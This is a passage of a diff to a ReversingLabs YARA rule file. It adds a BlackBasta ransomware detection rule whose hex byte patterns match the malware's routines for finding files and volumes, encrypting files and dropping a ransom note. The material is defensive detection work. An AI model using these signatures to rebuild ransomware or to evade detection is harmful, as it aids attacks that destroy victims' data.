status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "BlackBasta" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TECHNO BEAVERS LIMITED" and pe.signatures [ i ] . serial == "3b:d6:a5:bb:a2:8e:7c:1c:a4:48:80:15:9d:ac:e2:37" and 1563408000 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_C04F8F1E00C69E96A51Bf14Aab1C6Ae0 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "6513160e-ece5-500b-8b0b-4b8a6e04c0af" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3414-L3432" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c2b5ffa305b761b57dd91c0acea0d8f82bec6b7d3608be10a20ea63621f3f3e8" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 + 75 ?? 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? + 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8B CF 48 8D 54 + 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 85 C0 44 89 74 24 ?? 4C 89 74 24 ?? + 49 0F 45 CE 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CC 45 + 33 C0 33 D2 48 8B CF E8 ?? ?? ?? ?? 8B D8 44 38 74 24 ?? 74 ?? 48 8B 4C 24 ?? E8 ?? + ?? ?? ?? 8B C3 E9 ?? ?? ?? ?? 49 8B 74 24 ?? 49 2B 34 24 48 C1 FE ?? 33 D2 4C 89 75 + ?? 48 8D 4D ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 44 88 75 ?? E8 ?? ?? + ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? 39 48 ?? 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0 + ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 + ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0 + ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B + 75 ?? 33 D2 85 C0 49 8B CE 48 0F 45 CA 80 39 ?? 75 ?? 8A 41 ?? 84 C0 75 ?? 38 55 ?? + 74 ?? 49 8B CE E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 38 51 ?? 74 ?? 4D 8B CC 4D 8B C5 48 + 8B D7 E8 ?? ?? ?? ?? 44 8B E8 85 C0 75 ?? 38 45 ?? 74 ?? 49 8B CE E8 ?? ?? ?? ?? 4C + 8B 6C 24 ?? 48 8D 55 ?? 48 8B CB FF 15 ?? ?? ?? ?? 45 33 F6 85 C0 0F 85 ?? ?? ?? ?? + 49 8B 04 24 49 8B 54 24 ?? 48 2B D0 48 C1 FA ?? 48 3B F2 74 ?? 48 2B D6 48 8D 0C F0 + 4C 8D 0D ?? ?? ?? ?? 45 8D 46 ?? E8 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 44 38 74 + 24 ?? 74 ?? 48 8B 4C 24 + } + $find_system_volumes_v1_p1 = { + 48 89 4C 24 ?? 55 53 56 57 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? + 48 8B F1 45 33 FF 44 89 7C 24 ?? 4C 89 39 4C 89 79 ?? 4C 89 79 ?? C7 44 24 ?? ?? ?? + ?? ?? BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 0F 1F 00 4C 8D 8D ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 44 89 7C 24 ?? 4C 89 7C 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 + ?? 4C 89 7C 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8D 14 00 48 8D BD ?? ?? ?? ?? 48 03 FA 4C 89 7C 24 ?? 4C 89 + 7C 24 ?? 4C 89 7C 24 ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 + 8D 9D ?? ?? ?? ?? 48 D1 FA 48 83 FA ?? 72 ?? 45 33 C0 48 8D 4C 24 ?? E8 + } + $find_system_volumes_v1_p2 = { + 4C 89 7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 3B C7 74 + ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 44 0F B6 0B 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 3B + CA 73 ?? 48 8D 41 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 83 FA ?? 48 0F 43 44 24 ?? 44 + 88 0C 08 C6 44 08 ?? ?? EB ?? 45 33 C0 41 8D 50 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 + 83 C3 ?? 48 3B DF 75 ?? 4C 89 BD ?? ?? ?? ?? 48 8B 46 ?? 48 3B 46 ?? 74 ?? 4C 89 38 + 4C 89 78 ?? 4C 89 78 ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 4C + 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 83 46 ?? ?? EB ?? 4C 8D 44 + 24 ?? 48 8B D0 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 FF C2 + 48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 + 48 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? + ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 48 8B C6 48 81 C4 + } + $set_default_icon_p1 = { + 48 89 5C 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? + 48 8B F1 45 33 ED 44 89 6C 24 ?? 4C 8B 35 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 4C 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B C8 49 2B CE 49 3B CF 0F 82 ?? ?? + ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 4C 0F 43 25 ?? ?? ?? ?? 4C 89 6C + 24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 4B 8D 2C 37 BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 3B + EB 0F 86 ?? ?? ?? ?? 48 8B DD 48 83 CB ?? 48 3B D8 76 ?? 48 8B D8 48 B8 ?? ?? ?? ?? + ?? ?? ?? ?? 48 8D 0C 00 EB ?? B8 ?? ?? ?? ?? 48 3B D8 48 0F 42 D8 48 8D 4B ?? 48 B8 + ?? ?? ?? ?? ?? ?? ?? ?? 48 3B C8 0F 87 ?? ?? ?? ?? 48 03 C9 48 81 F9 ?? ?? ?? ?? 72 + ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? + ?? ?? ?? 48 8D 78 ?? 48 83 E7 ?? 48 89 47 ?? EB ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 + 8B F8 EB ?? 49 8B FD 48 89 7C 24 ?? 48 89 6C 24 ?? 48 89 5C 24 ?? 4B 8D 1C 36 4C 8B + } + $set_default_icon_p2 = { + C3 49 8B D4 48 8B CF E8 ?? ?? ?? ?? 48 8D 0C 3B 4F 8D 04 3F 48 8D 15 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 66 44 89 2C 6F BB ?? ?? ?? ?? 89 5C 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ?? + ?? 48 0F 43 54 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? + 48 89 44 24 ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 45 33 C9 45 33 + C0 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CE 48 83 7E ?? ?? 72 ?? + 48 8B 0E 8B 46 ?? 03 C0 89 44 24 ?? 48 89 4C 24 ?? 44 8B CB 45 33 C0 48 8D 15 ?? ?? + ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 B9 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? EB ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 4C 24 + ?? 45 33 C9 44 8B C0 33 D2 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E3 ?? 89 5C 24 ?? 48 + 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B C1 48 81 + FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 77 ?? + E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 44 89 6C 24 ?? 48 8B CE + E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C + 5F 5E 5D C3 + } + $cmd_prompt = { + 48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8B EC 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 + 48 89 45 ?? 48 8B D9 4C 8D 05 ?? ?? ?? ?? 33 FF 48 8D 4D ?? 33 D2 48 89 7D ?? E8 ?? + ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 85 DB 75 ?? 48 8B 4D ?? 48 85 C9 0F 84 ?? ?? + ?? ?? 33 D2 E8 ?? ?? ?? ?? 48 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 85 DB 40 0F 94 C7 E9 ?? + ?? ?? ?? 48 8B 45 ?? 48 8D 0D ?? ?? ?? ?? 48 89 45 ?? 48 89 4D ?? 48 89 5D ?? 48 89 + 7D ?? 48 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 18 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 33 C9 + 89 38 48 8B 55 ?? E8 ?? ?? ?? ?? 48 8B F8 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? 89 18 EB ?? + E8 ?? ?? ?? ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? 48 8B 4D ?? E8 ?? ?? ?? + ?? 83 CF ?? EB ?? E8 ?? ?? ?? ?? 89 18 48 8D 15 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 48 + 89 55 ?? 33 C9 E8 ?? ?? ?? ?? 48 8B F8 48 8B 4D ?? E8 ?? ?? ?? ?? 8B C7 48 8B 4D ?? + 48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 5D C3 + } + $exclude_from_encryption = { + 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D + 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B + 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? + ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85 + ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? + 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D + 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B + 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? + ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85 + ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? + 66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D + 4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B + 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ?? + ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 + } + $encrypt_files_v1 = { + 41 83 CC ?? 44 89 64 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FF ?? 48 0F 43 8C 24 ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B F8 41 83 E4 ?? 44 89 64 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48 + 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? + ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 49 + ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ?? + ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 9C 24 ?? ?? 00 00 40 F6 C7 ?? 74 + ?? 49 8B CF E8 ?? ?? ?? ?? 90 48 BE ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 4C + 8D 35 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? C6 84 + 24 ?? ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B F0 48 + 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 4C 8B 70 ?? 48 + 83 78 ?? ?? 72 ?? 48 8B 30 48 8D 8C 24 ?? ?? ?? ?? 49 83 FE ?? 73 ?? 41 B8 ?? ?? ?? + ?? 48 8B D6 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? + ?? EB ?? 4C 89 AC 24 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 89 BC 24 ?? ?? ?? ?? 49 3B + FD 49 0F 47 FD 48 8D 57 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4E 8D 04 75 ?? ?? + ?? ?? 48 8B D6 48 8B C8 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 + } + $find_system_volumes_v2 = { + BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 0F 1F 44 00 ?? 4C 8D 8D ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 89 74 24 ?? 48 89 74 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? + 48 89 74 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 4C 8D 04 00 48 8D 85 ?? ?? ?? ?? 49 03 C0 48 89 74 24 ?? 48 89 74 + 24 ?? 48 89 74 24 ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 48 8D + 8D ?? ?? ?? ?? 48 3B C8 74 ?? 49 D1 F8 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? + ?? ?? 90 48 8B 43 ?? 48 3B 43 ?? 74 ?? 48 89 30 48 89 70 ?? 48 89 70 ?? 41 B8 ?? ?? + ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? + ?? 66 89 74 24 ?? 48 83 43 ?? ?? EB ?? 4C 8D 44 24 ?? 48 8B D0 48 8B CB E8 ?? ?? ?? + ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B + C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 + ?? 77 ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 41 + B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 + 8B CF FF 15 ?? ?? ?? ?? 48 8B C3 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E + 5D C3 + } + $drop_ransom_note = { + 48 83 3D ?? ?? ?? ?? ?? 48 0F 43 15 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 4D ?? E8 + ?? ?? ?? ?? 48 8B D8 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 45 8D 46 ?? 48 8B D0 48 8D + 4D ?? E8 ?? ?? ?? ?? 4C 89 73 ?? 48 C7 43 ?? ?? ?? ?? ?? 66 44 89 33 BE ?? ?? ?? ?? + 89 75 ?? 83 E6 ?? 89 75 ?? 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 + 8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 + C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? + ?? 66 44 89 75 ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 43 4D ?? 4C 89 74 24 ?? C7 44 24 + ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 48 8B D8 48 83 F8 ?? 74 ?? 4C 89 74 24 ?? 45 33 C9 41 B8 ?? ?? ?? ?? 48 8D 15 + ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? + 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA + ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 75 ?? 48 8B 57 + ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 0F 48 81 FA ?? ?? ?? ?? 72 ?? 48 + 83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ?? + 4C 89 77 ?? 48 C7 47 ?? ?? ?? ?? ?? 66 44 89 37 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? + 49 8B 73 ?? 49 8B 7B + } + $encrypt_files_v2_p1 = { + BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 48 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 + 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 49 8B FA 49 8B D1 4D 85 D2 + 74 ?? 4C 8B C1 4D 2B C1 0F B7 02 66 41 39 04 10 75 ?? 48 83 C2 ?? 48 83 EF ?? 75 ?? + 49 2B CB 48 D1 F9 E9 ?? ?? ?? ?? 48 83 C1 ?? E9 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 + 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 90 48 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? + ?? ?? ?? B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 66 0F 6F 05 ?? ?? 0B 00 F3 0F 7F 45 ?? + 48 89 75 ?? 48 89 75 ?? 48 8D 45 ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? + C6 45 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? C6 45 + ?? ?? 48 8D 45 ?? 83 E0 ?? 48 8D 44 05 ?? 48 89 45 ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? + ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 + 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 + 8D 05 ?? ?? ?? ?? 48 89 45 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 + C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C + 8B E8 48 89 44 24 ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 89 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 + } + $encrypt_files_v2_p2 = { + 8B D5 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D7 48 8D 0D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8B CF 41 B8 ?? ?? ?? ?? 49 8B D5 + 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 49 8B D5 48 8B 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 83 C1 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 E8 ?? ?? ?? ?? + BF ?? ?? ?? ?? 4C 3B FF 0F 8D ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8B FE 49 8B C7 + 48 2B C7 48 99 83 E2 ?? 48 03 C2 48 C1 F8 ?? 4C 8B F0 F2 0F 59 35 ?? ?? ?? ?? 0F 57 + C0 F2 48 0F 2A C0 F2 0F 59 F0 F2 48 0F 2C CE 48 85 C9 0F 85 ?? ?? ?? ?? 4D 85 FF 0F + 8E ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? + 90 48 8D 35 ?? ?? ?? ?? 48 89 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? + ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 + ?? 4D 8B CF 45 33 C0 48 8B D3 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 + 81 FF ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? F2 0F 10 35 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 + ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 + 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? + 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8B CF 45 33 C0 48 8B D3 49 8B CE + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 99 48 F7 F9 4C 8B E8 48 85 C0 75 ?? 48 8D 45 ?? 48 + } + $encrypt_files_v2_p3 = { + 89 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 35 ?? ?? ?? ?? 48 89 + 75 ?? 4C 8D 35 ?? ?? ?? ?? 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? + ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 45 ?? 48 89 44 24 ?? 4D 8B CF 45 33 C0 48 8B D3 + 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? E9 ?? ?? ?? ?? 4D 85 F6 0F 8E ?? + ?? ?? ?? 4D 8B FD 49 C1 E7 ?? 4C 8B A5 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 44 24 ?? 48 + 8D 54 24 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 90 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 + ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? 